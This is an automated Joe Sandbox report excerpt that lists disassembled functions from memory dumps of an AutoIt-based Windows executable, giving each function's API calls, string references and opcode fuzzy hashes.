Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: CrackInternet_memset
String ID: |
API String ID: 1413715105-2343686810
Opcode ID: 2f58c6b79741de82eb0ee165352b06ecc2b144c6e28fcc51513dedfef56bc7ba
Instruction ID: ceda4750769c809ae10fd3ab68c578b48ceb926f3fb34c6908d07b0bd45687a6
Opcode Fuzzy Hash: 2f58c6b79741de82eb0ee165352b06ecc2b144c6e28fcc51513dedfef56bc7ba
Instruction Fuzzy Hash: C4311C71C00119EBCF11AFA1DC95EEE7FB9FF28350F108019F919A6162DB319A56DBA0

Function 001D9567 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 95COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?,?,?,?), ref: 001D961B
MoveWindow.USER32(?,?,?,?,?,00000001,?,?,?), ref: 001D9657

Strings

static, xrefs: 001D95B7

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: Window$DestroyMove
String ID: static
API String ID: 2139405536-2160076837
Opcode ID: c5e48d6238540a9cce8223150ad156e8768ffd204d352d401e2135334bcaf9c5
Instruction ID: cf8f43a25b64e388d122a969578365e49de51ef6e487ad597f0b4500bc2eb912
Opcode Fuzzy Hash: c5e48d6238540a9cce8223150ad156e8768ffd204d352d401e2135334bcaf9c5
Instruction Fuzzy Hash: 1931AF31500604AEEB109F64DC81FFB77A9FF58764F10861AF9A9C7290CB31AD91DB64

Function 001B5B75 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 87windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 001B5BE4
GetMenuItemInfoW.USER32(?,?,00000000,00000030), ref: 001B5C1F

Strings

0, xrefs: 001B5BDD

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: InfoItemMenu_memset
String ID: 0
API String ID: 2223754486-4108050209
Opcode ID: 0408c7746b2858682fceaa342ae9a9c6669f26a3bc5bebf9f749709c35f31a4d
Instruction ID: 0cb7d40b49385b24182a65eaa09e42143888ff94e285d9f75f0501bed0a4b0bc
Opcode Fuzzy Hash: 0408c7746b2858682fceaa342ae9a9c6669f26a3bc5bebf9f749709c35f31a4d
Instruction Fuzzy Hash: 1131A531600709ABEB25CF98D985BEDBFFBEF05354F280019E985971A0D7B09A44CF10

Function 001C6B60 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 83COMMON

Download Yara Rule

APIs

__snwprintf.LIBCMT ref: 001C6BDD

Part of subcall function 0017CAEE: _memmove.LIBCMT ref: 0017CB2F

Strings

, $, xrefs: 001C6C1D
AUTOITCALLVARIABLE%d, xrefs: 001C6BCF

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: __snwprintf_memmove
String ID: , $$AUTOITCALLVARIABLE%d
API String ID: 3506404897-2584243854
Opcode ID: 0523708b335c01afd19becc2c852ae05527af67b8d0994590c7f798d008ea8e2
Instruction ID: 65af45e6ccf1072bb361aef257a4c30320d830c6d05ec06e5d47632ad9741494
Opcode Fuzzy Hash: 0523708b335c01afd19becc2c852ae05527af67b8d0994590c7f798d008ea8e2
Instruction Fuzzy Hash: 1B21BD31600218BACF14EFA4C882FAEB7B5EF69700F004469F549AB181DB74EA51DBA5

Function 001D91DC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000143,00000000,?), ref: 001D9269
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 001D9274

Strings

Combobox, xrefs: 001D9236

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: MessageSend
String ID: Combobox
API String ID: 3850602802-2096851135
Opcode ID: 69c4ebc8fe5ed5ff5a9f1e6ad4f2d357f8029b6df98cdee7c4fe8581654632f9
Instruction ID: a44e410dd9359d834fc8295eb5d882f36917320e83966cdf705a7c59c999821e
Opcode Fuzzy Hash: 69c4ebc8fe5ed5ff5a9f1e6ad4f2d357f8029b6df98cdee7c4fe8581654632f9
Instruction Fuzzy Hash: 6D11B671300108BFEF119F54DC80EBB376AEB993A4F104126F9189B390D735DC518BA0

Function 001D970B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 67COMMON

Download Yara Rule

APIs

Part of subcall function 0018C619: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 0018C657
Part of subcall function 0018C619: GetStockObject.GDI32(00000011), ref: 0018C66B
Part of subcall function 0018C619: SendMessageW.USER32(00000000,00000030,00000000), ref: 0018C675

GetWindowRect.USER32(00000000,?), ref: 001D9775
GetSysColor.USER32(00000012), ref: 001D978F

Strings

static, xrefs: 001D9752

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: Window$ColorCreateMessageObjectRectSendStock
String ID: static
API String ID: 1983116058-2160076837
Opcode ID: 53520c5bc0eaf326ab019016371817da8d4b1a1036a431f5d5d8187d5774fbdc
Instruction ID: 7976a27a7cdda3d3e8e26fc2ea42de1b5d9eec22d3f38453969bb2505eda1043
Opcode Fuzzy Hash: 53520c5bc0eaf326ab019016371817da8d4b1a1036a431f5d5d8187d5774fbdc
Instruction Fuzzy Hash: 17113A72520209AFDB04DFB8DC45EFA7BB8EB08314F014629F955D3250E735E861DB60

Function 001D9424 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 64windowCOMMON

Download Yara Rule

APIs

GetWindowTextLengthW.USER32(00000000), ref: 001D94A6
SendMessageW.USER32(?,000000B1,00000000,00000000), ref: 001D94B5

Strings

edit, xrefs: 001D948A

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: LengthMessageSendTextWindow
String ID: edit
API String ID: 2978978980-2167791130
Opcode ID: 4445eb073f703d494170282244fd3e0a1bb7e80d3a8caf85e2b57dabbc4a6783
Instruction ID: 65131a2b9295dc800781835350781dda9296075b042672b87bc2b7222684a3e1
Opcode Fuzzy Hash: 4445eb073f703d494170282244fd3e0a1bb7e80d3a8caf85e2b57dabbc4a6783
Instruction Fuzzy Hash: 4C116D71100204AFEB109EA4ED44AFB37AAEB05378F504726F965972E2C775DC529BA0

Function 001B5C80 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 62windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 001B5CF3
GetMenuItemInfoW.USER32(00000030,?,00000000,00000030), ref: 001B5D12

Strings

0, xrefs: 001B5CEC

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: InfoItemMenu_memset
String ID: 0
API String ID: 2223754486-4108050209
Opcode ID: e97e5b3ca9f4e27eb608e917c68b5b2105c657d810867a736c0205f316cac4d1
Instruction ID: 742fdd72363f8a0f8b9544ea5af8148f4f96331952267877042aafe69fb9c7a0
Opcode Fuzzy Hash: e97e5b3ca9f4e27eb608e917c68b5b2105c657d810867a736c0205f316cac4d1
Instruction Fuzzy Hash: A0118272D01618ABDB24EB98EC48BE97BFBAB053A4F190121ED45EB1D0D771AD04C791

Function 001C53F6 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 61networkCOMMON

Download Yara Rule

APIs

InternetOpenW.WININET(?,00000000,00000000,00000000,00000000), ref: 001C544C
InternetSetOptionW.WININET(00000000,00000032,?,00000008), ref: 001C5475

Strings

<local>, xrefs: 001C543D

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: Internet$OpenOption
String ID: <local>
API String ID: 942729171-4266983199
Opcode ID: 75dd1d5d8d72eb9ffd649ff2ee1238138f8f7c973000780182150399f490dbc8
Instruction ID: ca066fc7f8b896da4a27cc0a273a5e7e319666445f13f874b34f256cb7e2c7a0
Opcode Fuzzy Hash: 75dd1d5d8d72eb9ffd649ff2ee1238138f8f7c973000780182150399f490dbc8
Instruction Fuzzy Hash: D5119E70141A21BADB2D8F518C84FFBFAAAEF22756F10822EF54556040F370A9D0C6B0

Function 0019B4BF Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 59COMMONLIBRARYCODE

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 001A4557
___raise_securityfailure.LIBCMT ref: 001A463E

Strings

(#, xrefs: 001A4639

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: FeaturePresentProcessor___raise_securityfailure
String ID: (#
API String ID: 3761405300-3738616181
Opcode ID: 44d53a8c98564cfa3b733c9d53764fe47557e0485fd8108f6f58f99d2b1511b7
Instruction ID: a18068a328fa146f2cf0addff2d038ce7af05f8f8287b8f4c9a7f86ce8841a64
Opcode Fuzzy Hash: 44d53a8c98564cfa3b733c9d53764fe47557e0485fd8108f6f58f99d2b1511b7
Instruction Fuzzy Hash: 9D21F3B5610208DBD714DF55F9E9A403BE4FB4D310F10586AE9088B7A1E3F5A981CF65

Function 001CACD3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 52networkCOMMON

Download Yara Rule

APIs

inet_addr.WS2_32(00000000), ref: 001CACF5
htons.WS2_32(00000000), ref: 001CAD32

Strings

255.255.255.255, xrefs: 001CAD0D

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: htonsinet_addr
String ID: 255.255.255.255
API String ID: 3832099526-2422070025
Opcode ID: fc169e25962804dc856ed7f23d150c2a09105ee45ecc9dbf4f6b78e1d4a9f390
Instruction ID: 6f89ddb3decdcdf5fb190f7ba20a7a4d1e8998800dff5735639a2960695d32e2
Opcode Fuzzy Hash: fc169e25962804dc856ed7f23d150c2a09105ee45ecc9dbf4f6b78e1d4a9f390
Instruction Fuzzy Hash: F6012234200309ABCB11AFA4D842FFDB364FF24728F20851AF5169B6C1D771E800C751

Function 001AC577 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 51windowCOMMON

Download Yara Rule

APIs

Part of subcall function 0017CAEE: _memmove.LIBCMT ref: 0017CB2F

SendMessageW.USER32(?,000001A2,000000FF,?), ref: 001AC5E5

Strings

ComboBox, xrefs: 001AC581
ListBox, xrefs: 001AC5AF

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: MessageSend_memmove
String ID: ComboBox$ListBox
API String ID: 1456604079-1403004172
Opcode ID: d538adfb4bc9a3e4231290263eeb0a87d33e229765a699e3c82908fbbcedb8ea
Instruction ID: 2a5a7932a645ba978bc2a153fead51fe43958167964732a5cdc606693eff9a93
Opcode Fuzzy Hash: d538adfb4bc9a3e4231290263eeb0a87d33e229765a699e3c82908fbbcedb8ea
Instruction Fuzzy Hash: DF01F575601218ABCB08EBA8CC529FE33AAAF17310B144618F422E72C1DB3068088790

Function 001BC4D4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 50COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 001BC4EF
__fread_nolock.LIBCMT ref: 001BC504

Strings

EA06, xrefs: 001BC532

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: __fread_nolock_memmove
String ID: EA06
API String ID: 1988441806-3962188686
Opcode ID: 3559a99bd91336dece1a8499f220aa511c82e4d52d66451040f8275962b3eb18
Instruction ID: 7b925e893a3a08ac07f4208cb3544d22490abd815b2e6a5297dfbe93167b9641
Opcode Fuzzy Hash: 3559a99bd91336dece1a8499f220aa511c82e4d52d66451040f8275962b3eb18
Instruction Fuzzy Hash: AA01F5729002187FDB28D7A8C856EFE7BF89B15311F00415AE193D2181E6B4A7088B60

Function 001AC473 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 49windowCOMMON

Download Yara Rule

APIs

Part of subcall function 0017CAEE: _memmove.LIBCMT ref: 0017CB2F

SendMessageW.USER32(?,00000180,00000000,?), ref: 001AC4E1

Strings

ComboBox, xrefs: 001AC47D
ListBox, xrefs: 001AC4AB

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: MessageSend_memmove
String ID: ComboBox$ListBox
API String ID: 1456604079-1403004172
Opcode ID: 0bc6c9a9df3b26a1348d853181e14267c4e1a33d552b49cbac2ab1440a6ec7c2
Instruction ID: 0f25b857e71e030bfce06a2c36f5e9dc77f868779ca32a55086a6c420e592c25
Opcode Fuzzy Hash: 0bc6c9a9df3b26a1348d853181e14267c4e1a33d552b49cbac2ab1440a6ec7c2
Instruction Fuzzy Hash: 66018F75641108BBCB09EBA4C963AFF73AD9F2A701F144029E502E31C1EB545E0896A5

Function 001AC4F6 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 48windowCOMMON

Download Yara Rule

APIs

Part of subcall function 0017CAEE: _memmove.LIBCMT ref: 0017CB2F

SendMessageW.USER32(?,00000182,?,00000000), ref: 001AC562

Strings

ComboBox, xrefs: 001AC500
ListBox, xrefs: 001AC52E

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: MessageSend_memmove
String ID: ComboBox$ListBox
API String ID: 1456604079-1403004172
Opcode ID: eebb7af6bbc5f306b0bf05564c3296221f057b699813ac5d7c1d5020956e678b
Instruction ID: 4777675bc6d72959d2b8502a8cd659590f46a3d629be61cb88d352e40e9544c2
Opcode Fuzzy Hash: eebb7af6bbc5f306b0bf05564c3296221f057b699813ac5d7c1d5020956e678b
Instruction Fuzzy Hash: E401AD75A41108BBCB05EBA8C952EFF73ADAF26701F144025F407F3181EB65AE0996A1

Function 001B804C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 28COMMON

Download Yara Rule

APIs

GetClassNameW.USER32(?,?,00000100), ref: 001B806A
_wcscmp.LIBCMT ref: 001B807C

Strings

#32770, xrefs: 001B8076

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: ClassName_wcscmp
String ID: #32770
API String ID: 2292705959-463685578
Opcode ID: 8dcbd4f08e20eaafa4f74fa8d9a0438d4f530e0ec450cf64d9bcd4b886fe0ab4
Instruction ID: d3184c6de832652dc6803985c8c5836a9af111ba2f13e0a0303d38ddcb117e9f
Opcode Fuzzy Hash: 8dcbd4f08e20eaafa4f74fa8d9a0438d4f530e0ec450cf64d9bcd4b886fe0ab4
Instruction Fuzzy Hash: 9CE0D83360022937D720EBA5AC0AEE7FBADFB51BA4F000026F914E3041DB749645C7D4

Function 001AB35D Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 22windowCOMMON

Download Yara Rule

APIs

MessageBoxW.USER32(00000000,Error allocating memory.,AutoIt,00000010), ref: 001AB36B

Part of subcall function 00192011: _doexit.LIBCMT ref: 0019201B

Strings

Error allocating memory., xrefs: 001AB364
AutoIt, xrefs: 001AB35F

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: Message_doexit
String ID: AutoIt$Error allocating memory.
API String ID: 1993061046-4017498283
Opcode ID: 46d443c6e6c64ddf9acde47e0867dc8668f3f6207ad3d6708de109f3630bff04
Instruction ID: fab7f216a45dbe46809146f001dbea992dabc08e86ab596f4096a9e133a07bd5
Opcode Fuzzy Hash: 46d443c6e6c64ddf9acde47e0867dc8668f3f6207ad3d6708de109f3630bff04
Instruction Fuzzy Hash: E6D05B3138935833D61536E47C17FD576885F16B51F154025FF0C955C38BD2D5D091D9

Function 001EBC74 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMON

Download Yara Rule

APIs

GetSystemDirectoryW.KERNEL32(?), ref: 001EBAB8
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000104), ref: 001EBCAB

Strings

WIN_XPe, xrefs: 001EBACB

Memory Dump Source

